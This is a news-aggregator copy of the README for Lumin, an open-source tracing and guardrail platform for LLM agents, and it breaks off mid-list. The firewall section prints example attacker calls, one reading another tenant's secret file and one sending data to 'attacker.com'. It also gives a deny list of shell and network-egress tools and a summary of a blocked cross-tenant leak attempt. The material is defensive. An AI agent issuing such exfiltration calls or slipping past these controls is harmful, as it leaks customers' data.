AI News HubLIVE
In-site rewrite5 min read

Tracing and tenant-isolation firewall for AI agents (Apache 2.0)

Lumin is an open-source operational platform for LLM agents in production, offering tracing, governance, defense, and operation. It supports OWASP LLM Top 10 protections and includes a five-layer tenant-isolation firewall to prevent data leakage in multi-tenant bots. All packaged in a single self-hosted Docker container, no cloud or vendor lock-in.

SourceHacker News AIAuthor: amitbidlan

Uh oh!

There was an error while loading. Please reload this page.

Notifications You must be signed in to change notification settings

Fork 0

Star 2

BranchesTags

Open more actions menu

Folders and files

NameName

Last commit message

Last commit date

Latest commit

History

106 Commits

106 Commits

.github

.github

assets

assets

launch

launch

packages

packages

.dockerignore

.dockerignore

.env.example

.env.example

.gitignore

.gitignore

CHANGELOG.md

CHANGELOG.md

CODE_OF_CONDUCT.md

CODE_OF_CONDUCT.md

CONTRIBUTING.md

CONTRIBUTING.md

Dockerfile

Dockerfile

GOOD_FIRST_ISSUES.md

GOOD_FIRST_ISSUES.md

INTEGRATIONS.md

INTEGRATIONS.md

LICENSE

LICENSE

README.md

README.md

SECURITY.md

SECURITY.md

docker-compose.yml

docker-compose.yml

setup.sh

setup.sh

start.sh

start.sh

Repository files navigation

The open-source operational platform for LLM agents in production.

Observe every trace · govern with policies · defend with OWASP LLM Top 10 guardrails · operate with audit, alerts, and approvals.

Works with every major framework. Single self-hosted Docker container. No cloud, no telemetry, no vendor lock-in.

▶ Watch the full 52-second walkthrough on YouTube — instrumenting an agent, inspecting a trace, promoting a shadow policy, and watching the firewall block a live cross-session leak.

🏛️ Four Pillars · Observe, Govern, Defend, Operate

Most LLM tooling picks one corner of the agent operations problem. Lumin covers all four — in one self-hosted Docker container, across every major framework.

🔍 Observe

Universal tracing — 16 first-class integrations (Python SDK, TypeScript SDK, LangChain, LangGraph, LlamaIndex, CrewAI, AutoGen, LiteLLM, OpenAI Agents, Pydantic AI, Anthropic, Mastra, VoltAgent, OpenClaw, OpenAI-compat proxy, OTLP receiver). Instrument any agent in 2 lines or zero with the proxy.

Full span tree — every LLM call, tool invocation, retrieval, embedding, custom span. Anthropic extended-thinking blocks captured as first-class child spans.

💬 Multi-turn sessions — group related traces under a single conversation. Aggregate cost, duration, and quality across turns.

💰 Cost & token attribution — per-call breakdown for OpenAI, Anthropic, Ollama, and extended-thinking tokens.

🌊 Real-time stream — WebSocket fanout pushes new traces and spans to the dashboard the instant they're ingested.

Evals & scoring — run evaluators against traces, attach scores, compare versions over time.

📜 Govern

Policy engine — DB-backed rules with a typed DSL (before_proxy_call / after_proxy_call lifecycle, priority, severity, conditions like prompt_guard_score(...), has_image_markdown_exfil(...), vault_match(...), cost_in_window(...)).

12 starter policy packs — ship pre-built: OWASP LLM Top 10, OWASP Agentic 2025, GDPR, HIPAA, PCI-DSS, cost guards, cross-session isolation, customer support, code assistant, dev environment safety, framework-specific (LangGraph, Mastra). Auto-installed in shadow mode on first boot; promote rules one at a time.

Shadow / enforce modes — every rule starts as shadow (records what it would have done). Promote to enforce after reviewing the dashboard timeline.

Versioning, rollback, audit — every policy edit recorded; one-click rollback to any prior version.

Policy suggester — mines patterns from your real traces and proposes rules. Dashboard shows accept / dismiss / promote.

Replay — test a draft policy against historical traces before promoting it. Get the would-block / would-allow counts.

Drift detection — alerts when prompt-injection scores, PII rates, or tool-call shapes shift outside the training distribution.

Approvals queue & decisions audit — human-in-the-loop for the rules that opt in.

🛡️ Defend — OWASP LLM Top 10 at runtime

8 detection methods layered: Presidio NER (PII), Prompt Guard 2 (22M-param injection classifier), Llama Guard 4 (14 MLCommons hazard categories), LLM-judge, embedding similarity, indirect-prompt-injection detection, locally-trainable classifier (per-corpus retraining), regex packs.

Tenant-isolation firewall — 5-layer structural defense for multi-tenant bots (per-user file sandbox, deny shells & egress, conversation-history reset, prompt redaction, audit). One layer of the Defend pillar; deep dive below.

Attack generator — synthesizes adversarial test cases per OWASP category for CI testing.

PII vault + foreign-tenant excerpts — server-side store of known sensitive strings; cross-checked at every span ingest.

Panic disable — emergency kill-switch for all firewall enforcement (with banner + audit).

🛠️ Operate

Webhook fanout — every block, redaction, or policy hit fires to PagerDuty, Slack, SIEM endpoints. Retry + dead-letter built in.

Backups + retention — scheduled DuckDB snapshots, configurable retention windows, one-click restore.

Metrics + health — Prometheus-shape /v1/admin/metrics, liveness + readiness endpoints.

🛟 Resilient by design — your agent never fails because Lumin is down. Spans drop silently if the queue overflows, the exporter is unreachable, or the server returns 5xx. A Lumin outage MUST never affect the agent.

🏠 Local-first — single Docker image, DuckDB + SQLite, no external services. Runs on a laptop or a 2-vCPU VPS.

🛡️ OWASP LLM Top 10 Guardrails — at runtime

This is the Defend pillar in depth — one of Lumin's four pillars. The Observe, Govern, and Operate pillars cover everything around it (tracing every span, authoring + rolling back policies, audit + alerts).

Most other LLM tools cover only one corner: observability stacks (Langfuse, LangSmith, Helicone, Arize) record what your agent did after it did it; guardrail classifiers (Lakera, NemoGuardrails) score single prompts in isolation. Lumin does both, plus the policy lifecycle around them.

Every span ingested is recorded and scored against runtime OWASP LLM Top 10 protections:

OWASP risk Lumin protection

LLM01 — Prompt Injection Pattern + LLM-judge detection on every input. Blocks or flags before the prompt reaches the model.

LLM02 / LLM06 — Sensitive Info Disclosure Microsoft Presidio NER scrubs PII, names, orgs, IDs, emails, phones, SSNs, credit cards, passports from prompts and history (configurable confidence threshold).

LLM03 — Supply-Chain Every tool call audited with a tamper-evident trail. Tool allowlist + plugin manifest signing.

LLM05 — Insecure Output Handling Output-filter chain (regex + structural) before responses leave the agent. Blocks PII echo-back and exfiltration patterns.

LLM08 — Excessive Agency Deny-by-default for shells (exec, bash, python, ruby, …) and network egress (web_fetch, curl, http_*). Per-user file sandbox.

LLM09 — Overreliance Policy engine with declarative rules + human approval queue. Anything outside the rules pauses until a human signs off.

LLM10 — Model Theft / Cross-tenant Exfiltration Tenant-isolation firewall: conversation-history reset on sender switch, structural blocking of cross-session leaks in multi-tenant bots.

The tenant-isolation layer in detail

LLM08 + LLM10 together cover a problem most guardrail classifiers miss: in a multi-tenant Slack / Telegram / Discord / SaaS bot, one customer's data leaking into another customer's chat. Lumin's tenant firewall stacks five structural layers:

Layer What it does

L1 storage sandbox Every fs tool call (read, write, edit, grep, cat, head, tail, …) gets its path parameter rewritten to ${workspace}/_lumin/by-sender//. The bot literally has no path to another tenant's data.

L1.5 deny shell + egress Tools that bypass file paths — exec, shell, bash, python, web_fetch, http_get, curl — refused by default. An attacker can't exec("cat ../alice/secret") or web_fetch("https://attacker.com?leak=...").

L2 conversation history reset When the active sender changes for a shared agent, the LLM's message history is wiped before it sees the next turn. Foreign-tenant text never enters context.

L3 input redaction Every prompt + history scanned by Presidio NER + structural ID regexes + foreign-vault excerpts before the LLM call. Replaced with [REDACTED].

L4 audit trail Every block, redaction, and sandbox rewrite recorded in policy_violations. Webhooks fire to PagerDuty / Slack / SIEM.

Verified live: a real Telegram → Slack leak attempt with the standard profile blocked all 5+ bypass routes (3 exec calls denied, 2 read calls sandboxed to empty per-sender dir, 97 prior-tenant messages cleared from history, foreign-vault entries redacted from the prompt). The bot's reply contained zero foreign-tenant data. See the demo video above.

How Lumin compares

Lumin Langfuse Lakera NemoGuard

Full-trace observability ✅ ✅ ❌ ❌

Cost + token attribution ✅ ✅ ❌ ❌

Evals + scoring ✅ ✅ ❌ ❌

Prompt-injection detection (LLM01) ✅ ❌ ✅ ✅

PII redaction in prompt (LLM02/LLM06) ✅ Presidio ❌ ✅ classifier ✅ classifier

Excessive-agency guard (LLM08) ✅ deny exec/fetch ❌ ❌ ❌

Per-user file sandbox (LLM10) ✅ structural ❌ ❌ ❌

Conversation history isolation (LLM10) ✅ structural ❌ ❌ ❌

Policy engine + approval queue ✅ ❌ ❌ ⚠️ partial

Self-hosted single Docker ✅ ⚠️ ClickHouse + Postgres + Redis + S3 ❌ SaaS ❌ NIM endpoint

Open source ✅ Apache-2.0 ✅ MIT ❌ ✅ Apache-2.0

Lumin and Langfuse can coexist — Lumin adds the security layer on top of any observability stack. For teams who want a single container instead of a stack, Lumin alone covers both jobs.

📦 Deploy

Local — Docker compose (recommended)

Single command, single container, both API and dashboard:

git clone https://github.com/amitbidlan/zistica-lumin cd zistica-lumin docker compose up -d --wait

Then open http://localhost:3000. To stop: docker compose down. To wipe state: docker compose down -v.

VM — single docker run

docker run -d \ --name lumin \ -p 127.0.0.1:3000:3000 \ -p 127.0.0.1:8000:8000 \ -v lumin-data:/data \ zistica/lumin:latest

⚠️ Public VPS deployment: the dashboard at :3000 has no authentication today. Bind ports to 127.0.0.1 (as shown) and reach the dashboard via SSH tunnel: ssh -L 3000:localhost:3000 user@vps. Auth lands in Slice 5B.

Smaller image (size-constrained VPS)

Default image ships en_core_web_lg (Presidio NER, ~750MB). Swap to _md (40MB) at build time:

docker compose build --build-arg LUMIN_PRESIDIO_MODEL=en_core_web_md

🔌 Integrations

First-party SDKs and plugins

Integration Type Description

Python SDK pip install -e . @lumin.trace decorator, lumin.span() context manager, sessions, policy engine, framework integrations

TypeScript SDK @lumin-io/sdk Wire-format peer of the Python SDK; identical behavior

LangChain Python, callback handler Zero-config via LUMIN_TRACING=true — every chain auto-traced

LangGraph Python Graph nodes/edges traced; firewall hooks on every node call

LlamaIndex Python, callback manager RAG retrievers, embeddings, query engines, agents

CrewAI Python Multi-agent crews — kickoff → agent → tasks tree

AutoGen Python Multi-agent conversations + firewall enforcement per message

LiteLLM Python 100+ providers via LiteLLM router; firewall on every call

OpenAI Agents Python OpenAI's agents SDK — guard handoffs, tool calls, sub-agents

Pydantic AI Python Typed agent framework; firewall on tool calls + structured outputs

Anthropic Python + TypeScript Extended-thinking blocks captured as first-class child spans

OpenAI compat HTTP proxy Point any OpenAI / Ollama / Anthropic-compat client at :8000/v1/openai — auto-instruments without code changes

Mastra @lumin-io/mastra TypeScript agent framework — drop-in replacement for @mastra/langfuse

VoltAgent @lumin-io/voltagent OTel-native exporter

OpenClaw — OTel @lumin-io/openclaw OTLP receiver, zero-code, no-content (provider/model/tokens/cost only)

OpenClaw — full content @lumin-io/openclaw-diagnostics Typed-hook plugin: prompts, replies, thinking, + the full firewall

OTel / OTLP endpoint POST /v1/otlp/v1/traces — receives from any OTel-i

[truncated for AI cost control]